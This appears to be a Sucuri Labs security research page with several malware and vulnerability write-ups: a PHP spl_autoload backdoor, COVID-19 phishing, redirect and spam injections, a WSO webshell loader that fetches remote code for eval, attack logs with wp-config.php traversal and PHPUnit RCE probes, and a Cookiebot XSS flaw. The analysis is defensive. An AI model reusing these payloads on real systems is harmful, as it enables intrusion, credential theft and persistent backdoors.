Sucuri Labs

The home of our Security Engineering Group, including our Threat Research, Technical Security and Automation teams.

Spl_autoload Backdoor

With backdoors, one of the main challenges for malware authors is to execute code without using obvious functions (such as eval, asset, create_function, etc.) that trigger alerts for security scanners.

In the following example found by our security analyst Weston Henry, hackers used the combination of the “spl_autoload_extensions/spl_autoload” functions to execute arbitrary PHP code.

This code was injected at the top of one ecommerce website’s legitimate .php file.

World Health Organization spam image

At first glance, the code looks quite suspicious: “error_reporting” and “pack” keywords are built using character concatenation. There is also a long encrypted string in the code.

Backdoor in a Temporary File

The string unpacks to a more obvious backdoor that eval’s arbitrary base64-encoded PHP code passed in the HTTP_KHFTEX request parameter.

World Health Organization spam image

This backdoor is saved on the compromised server using file_put_contents.

At this point, it seems clear that this newly created file can be used by attackers to execute malicious code on the server whenever they want. The only problem is that the filename is not easily predictable: it uses the mt_rand function with 10,000 possible results, and the directory for temporary PHP files that may vary from server to server. Moreover, files in the temporary directory may be deleted any moment, which makes it not very reliable — even in the midterm.

$tmp_fdel = tempnam(sys_get_temp_dir(),mt_rand(0,9999));

Backdoor Execution via spl_autoload

If hackers don’t know the name of the backdoor file they created, then how do they want to use it? The answer lays in the following two lines of code.


The first line registers the name of the created file as a default extension for spl_autoload, and the second line tries to load classes from files with the registered extensions. It may not be clear from the name, but the spl_autoload_extensions function works with fully qualified file paths too.

In this case, PHP tries to load classes from the backdoor file. The file doesn’t actually have any defined classes, but PHP needs to execute its code to figure it out. To avoid the LogicException error, hackers use the exit command at the end of the code.

A temporary backdoor file with a random name is created and automatically executed whenever hackers access the infected legitimate .php file with a set “systems” parameter in the POST request. Immediately after execution, the temporary file is deleted.


In this post, we describe malware that uses the spl_autoload function to hide the execution of arbitrary backdoor code. While it’s a very rare trick, the rest of the code will likely raise a red flag for most serious security scanners. That being said, you shouldn’t depend entirely on the fact that all security scanners will be able to find this malicious code. The best solution to detect this type of behaviour is to set up integrity controls in your environment. With these in place, you’ll notice any file modifications — regardless of the tricks that hackers invent.

Phishing with a COVID-19 Lure

It’s not uncommon to see criminals use disasters or current events to enhance their social engineering tactics, and the recent COVID-19 pandemic is no different. During a recent investigation, we received an email originating from (x-originating-ip: []) with a [redacted]@[redacted] email address and the following message body:


Due to the recent COVID-19 outbreak, IT Helpdesk is currently working on advance Staff portal in order to keep our staff/employee on task & organized schedules.
All Staff/Employee are required to update their Staff Portal.

To access the portal, Click on STAFF PORTAL for update.

Failure to update your Staff portal, you will be deleted from our database.


IT Helpdesk

©2020 Microsoft outlook.

All rights reserved

The malicious user is employing the COVID-19 crisis to provide credibility as to why the impersonated IT Helpdesk would need the victim to update their personal information.

When clicked, the PORTAL link directs victims first to the URL shortener service and then passed them along to the malicious phishing subdomain designmysite[.]pro:

COVID-19 Phishing Lure


The subdomain 8li9c1sr9queececshfj5lulh.designmysite[.]pro was disabled before I could properly load it, however this is not the first phishing scam attempted by this domain. Continuing my research, I found another phishing page on a similar subdomain 6bsy904ldphremdrtt0pixql9.designmysite[.]pro:

As seen in the malicious COVID-19 phishing campaign, this particular phishing form is also disseminated through a bit.lyb> shortened URL. What’s more, there are multiple reports going all the way back to 2018 which show designmysite[.]pro spoofing or compromising existing educator email addresses:

When viewing the source of the phishing forms, it becomes clear that the email address is being used to collect the phished information submitted by victims:

"widget":{},"uniqueId":"Ajj7NKp9ACuwjMj","parentUniqueId":"ffpV5Q4d2ksrav0"},"page-zones__main-widgets__responsivecolumns1-zones__5e654f40427e2-widgets__5e654f405b223":{"ref":"5921879","uniqueHTMLId":"page-zones__main-widgets__responsivecolumns1-zones__5e654f40427e2-widgets__5e654f405b223","name":"5e654f405b223","fixed":false,"libraryItemRef":"0","pageRef":"1910011","temporary":{},"changed":{},"type":"widget.advancedcontactform","data":{"email":"","text":"Send","formTitle":"box","fromEmailLabel":"Your email:","fromEmailPlaceholder":"Type your email","collectEmailAddress":"1","localClass":"widget-advancedcontactform-84336F","uniqueId":"c7Z6hf92oPJCEEC","formFields":[{"title":"Full Name","type":"singleline","options":[],"mandatory":1,"id":"c7acbb10-6177-11ea-96dc-65cdea8475cd","order":1}...

This recent investigation clearly demonstrates why it’s important to keep an eye out for phishing campaigns – as well as misinformation in general. Familiarize yourself with the steps you can take to recognize a phishing campaign and avoid becoming a victim.

Fake License.txt File Loaded Through PHP Include

Our team recently found a malicious injection located within a PHP include. The redirect occurs via the include function, which includes a file inconspicuously named license.txt.

During our investigation, we located the license.txt injected within header.php of the WordPress theme file.

include('license.txt'); ?>
        </header> <!-- #main-header -->
        $main_header = ob_get_clean();

         * Filters the HTML output for the main header.
         * @since ??
         * @param string $main_header
        echo apply_filters( 'et_html_main_header', $main_header );
        <div id="et-main-area">
         * Fires after the header, before the main content is output.
         * @since ??
        do_action( 'et_before_main_content' );

The license.txt file is essentially a redirect to send site visitors to a malicious domain, which uses HTML to generate a redirect to the malicious website https://times2day[.]com, and was registered on February 6th, 2020.

<meta http-equiv="X-UA-Compatible"
   <meta name="viewport" content="width=device-width,
initial scale=1">
<script src=""></script>
   <link rel='stylesheet' href=''>
   <script src="">
   <script src="">
   <link rel="stylesheet" href="">
    title: 'Oh, you must be visiting us!!!! ',
    text: 'Getting access..... ',
    icon: 'success',
    timer: 2000,
    buttons: false,
.then(() => {
    window.location.href = "";


To detect these types of malicious injections, site owners can scan websites for known malware, blacklisting status, website errors, out-of-date software, and malicious code.

Face Mask Spam Links Injected in WordPress Database

During a recent malware removal request, we found a compromised WordPress site being used to redirect to spam websites. The campaign was leveraging an increase in search queries related to face masks.

To make their campaign more difficult to detect and boost SEO rankings, the attackers use a multitude of compromised third-party websites to funnel their traffic. They also use the World Health Organization name and images to add credibility to their campaign.

World Health Organization spam image

Spam links are injected into the widgets section of the wp_options database, resulting in the compromised environment linking to third-party sites trying to rank for face mask search terms.

Face mask spam links

The spam links have been set to conceal themselves from website visitors using <div style="display:none;">, all of which lead to the Shopify website https://lundybright[.]fr/ which was registered on March 2nd.

Compromised websites impacted by this spam campaign can use our hacked website cleanup guide to remove the infection.

Vulnerabilities Digest: March 2020

Fixed Plugins and Vulnerabilities

PluginVulnerabilityPatched VersionInstalls
CookiebotReflected Cross-Site Scripting3.6.140000
Data Tables Generator By SupsysticAuthenticated Stored XSS1.9.9230000
WPvivid BackupDatabase Leak0.9.3640000
Advanced AdsReflected XSS1.17.4100000
Category Page IconsArbitrary File Upload/Deletion0.9.1Closed
CookiebotReflected Cross-Site Scripting3.6.140000
Custom Post Type UICSRF to Stored XSS1.7.4800000
FruitfulAuthenticated Stored XSS3.8.29000
responsive-add-onsUnprotected AJAX Endpoints2.2.640000
Import Export WordPress UsersAuthenticated Arbitrary User Creation1.3.930000
LearnPressPrivilege Escalation3.2.6.770000
Multiple PluginsUnauthenticated RCE via PHPUnitall-
Multiple WebToffee PluginsCSRF1.3.32000
Popup BuilderMultiple Issues3.64.1100000
Viral OptinsArbitrary File Uploadallclosed
WordPress File UploadDirectory Traversal to RCE4.13.020000
WPMLCross Site Request Forgery to RCE4.3.730000


Highlights for March 2020

Cross site scripting and Cross Site Request Forgery vulnerabilities were most prevalent this month. Attackers took advantage of the lack of restrictions in critical functions and issues surrounding user input data sanitization.

Ongoing Campaign Targets Plugin Vulnerabilities

An ongoing malicious campaign that we’ve been actively tracking since early 2019 continues targeting new plugin vulnerabilities to inject malicious domains.

Malicious domain injected during this month: clon[.]collectfasttracks[.]com

Social Metrics Tracker - --3e87eee3d[...]script type=text/javascript src=''></script>\x0D\x0A--3e87eee3d99c55ee9a39a59184ff3f05905a195557207837f3015d906347--\x0D\x0A [15/Mar/2020:19:55:14 +0000] "POST /wp-admin/admin-post.php?page=social-metrics-tracker-export&smt_download_export_file=1§ion=gapi HTTP/1.1" 

Simple Fields - --3e87eee3d[...]script type=text/javascript src=''></script>\x0D\x0A--3e87eee3d99c55ee9a39a59184ff3f05905a195557207837f3015d906347--\x0D\x0A [15/Mar/2020:19:55:14 +0000] "POST /wp-admin/admin-post.php?page=social-metrics-tracker-export&smt_download_export_file=1§ion=gapi HTTP/1.1" 

Pricing Table by Supsystic - - [18/Mar/2020] "GET /wp-admin/admin-ajax.php?action=getJSONExportTable&tables[]=8&reqType=ajax&mod=tables&pl=pts HTTP/1.1" 

Brizy – Page Builder - - [12/Mar/2020] "GET /wp-content/plugins/brizy/admin/site-settings.php HTTP/1.1" 

WP Security Audit Log - - [12/Mar/2020] "GET /wp-content/plugins/brizy/admin/site-settings.php HTTP/1.1" 

WordPress WP User Frontend - - [17/Mar/2020] "GET /wp-admin/admin-ajax.php?action=wpuf_file_upload HTTP/1.1"

Adblock Blocker - --0747fb1e8d3cfc0d658e7a77f51c7758\x0D\x0AContent-Disposition: form-data; name=\x22popimg\x22; filename=\x22settings_auto.php\x22\x0D\x0A\x0D\x0A[...] echo \x22not exits\x22;\x0D\x0Aecho \x22done .\x5Cn \x22 ;\x0D\x0A\x0D\x0A@unlink(__FILE__);\x0D\x0A?>\x0D\x0A\x0D\x0A--0747fb1e8d3cfc0d658e7a77f51c7758--\x0D\x0A [17/Mar/2020:13:25:45 +0000] "POST /wp-admin/admin-ajax.php?action=getcountryuser&cs=2 HTTP/1.1" 

Multiple Plugins - Access to Sensitive Files -- GET -- /wp-content/plugins/google-mp3-audio-player/direct_download.php?file=..%2F..%2F..%2Fwp-config.php -- - -- 2020-03-23 -- GET -- /wp-content/plugins/wp-filemanager/incl/libfile.php?&path=..%2F..%2F..%2F..%2F&filename=wp-config.php&action=download -- - -- 2020-03-23 -- GET -- /wp-content/themes/ctu/framework/utilities/download/getfile.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php -- - -- 2020-03-23 -- GET -- /wp-content/plugins/recent-backups/download-file.php?file_link=..%2F..%2F..%2Fwp-config.php -- - -- 2020-03-23 -- GET -- /wp-content/themes/ctu/lib/downloadlink.php?file=..%2F..%2F..%2F..%2Fwp-config.php -- - -- 2020-03-23 -- GET -- /wp-content/themes/ctu/lib/scripts/download.php?file=..%2F..%2F..%2F..%2F..%2Fwp-config.php -- - -- 2020-03-23 -- GET -- /wp-content/plugins/db-backup/download.php?file=..%2F..%2F..%2Fwp-config.php -- - -- 2020-03-23 -- GET -- /wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php?file=..%2F..%2F..%2Fwp-config.php -- - -- 2020-03-23

Multiple Plugins Affected by an Old Vulnerability in PHPUnit

As seen in January attackers are continuing to leverage an RCE in PHPUnit along with several plugin vulnerabilities found in the past month.

Unpatched versions of PHPUnit prior to 4.8.28 and 5.6.3 allow remote attackers to execute arbitrary PHP code via HTTP POST data.

Jekyll-exporter - <?php  echo 'RCE_VULN|'; echo php_uname();?> [13/Mar/2020] "POST //wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1"

Wp-heyloyalty - <?php  echo 'RCE_VULN|'; echo php_uname();?> [12/Mar/2020] "POST //wp-content/plugins/wp-heyloyalty/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1"

Detected IPs

Public exploits already exist for all of the components listed above. We strongly encourage you to keep your software up to date to prevent infection and mitigate risk to your environment. Websites behind the Sucuri Firewall are protected against these exploits.

Tiny WSO Webshell Loader

A PHP webshell is a common tool found on compromised environments. Attackers use webshells as backdoors, allowing them to maintain unauthorized access to a hacked website.

Bad actors can also use webshells to perform various functions within a single PHP file, which they typically create after their initial exploit of the website. Some of these functions include obtaining sensitive details on a web server’s configuration, file management, SQL connections, and additional backdoor payloads like reverse shells.

It’s usually unnecessary for an attacker to create their own custom PHP webshell. Instead, they often use PHP webshells which are readily available and popular within hacking communities, including WSO, c99, B347K, and r57.

Here's what a WSO PHP webshell loaded within a browser looks like:

PHP Webshell in browser

Since PHP webshells are common on hacked websites, they are susceptible to being detected by server side scanning tools. The capabilities of a PHP webshell also require more code, meaning there’s a larger disk footprint when compared to existing legitimate PHP files used by the website.

Besides their large disk usage, the webshell’s code also contains PHP code that is easy for scanners to detect. For example, when the PHP code contains a FilesMan reference:

$password = "";
$passtype = "";
$color = "#df5";
$default_action = 'FilesMan';

This WSO PHP webshell variant contains over 1,900 lines of PHP code in total. Its larger-than-normal file size is a red flag for scanning technologies — leading hackers to leverage methods which prevent them from storing all of the PHP webshell’s code on the hacked website’s file system.

So, what is one method that a hacker can employ to upload a webshell to a hacked website without actually storing the code within the website’s file structure? They can use file_get_contents method, as seen in this small WSO webshell loader found on a hacked website.

$a = file_get_contents('https://[REDACTED]/files/readme.txt');

This method effectively reduces a 1,900+ line PHP webshell into just two lines of PHP code. It simply assigns a variable, $a, with the output of the file_get_contents function which is used to grab the PHP webshell’s source code from a third party location. It then stores it in memory, rather than a file on disk.

Next, the loader uses eval to execute the stored PHP code in the $a variable, loading the webshell without having to store the entire code within the website’s file system.

You may wonder why the PHP webshell’s code exists as a .txt file on the third party website. This is because if it were using its native .php file extension, then the third party website server would execute the PHP webshell’s code rather than downloading the code’s text requested with file_get_contents. This also requires the webshell loader’s eval function to use a closing tag/EOF, preventing syntax errors when loading the webshell PHP code from the third party server.

As webshells operate as a backdoor, they are best detected with file monitoring and the use of a server side scanner. If changes, deletions, or additions to the environment are detected, you’ll be notified of any indicators of compromise.

Reflected XSS in Cookiebot Administrative Page

A reflected XSS vulnerability has recently been found in the Cookiebot plugin plugin, impacting a user base of over 40k installs. Versions prior to 3.6.1 are susceptible to this attack, which allows hackers to exploit the vulnerability found on administrative pages.

This vulnerability is caused by the manual tabs mechanism, which tries to add a class to the form with the current tab.

<?php if ( isset( $_GET['tab'] ) ) {
     $active_tab = $_GET['tab'];
} else if ( $active_tab == 'unavailable_addons' ) {
     $active_tab = 'unavailable_addons';
} else {
     $active_tab = 'available_addons';
} ?>

// ...

<form method="post" action="options.php" class="<?php echo $active_tab; ?>">

The issue lies in the fact that only two tab types should be present: available_addons or unavailable_addons. These values are never checked, however, and are directly inserted into the form class attribute.

This improper implementation leads to the potential for a reflected cross-site scripting attack which relies on human behavior - such as an administrator visiting a link.
If the website administrator visits an attacker’s specially crafted URL, the bad actor may be able to compromise and take over the website.


  • 2020-03-11: Initial disclosure
  • 2020-03-12: Version 3.6.1 released

Mitigation Steps:

Websites using Cookiebot versions lower than 3.6.1 should update their plugins to the latest patch immediately to mitigate risk. As always, customers using our WAF are protected from this issue with our virtual patching technology.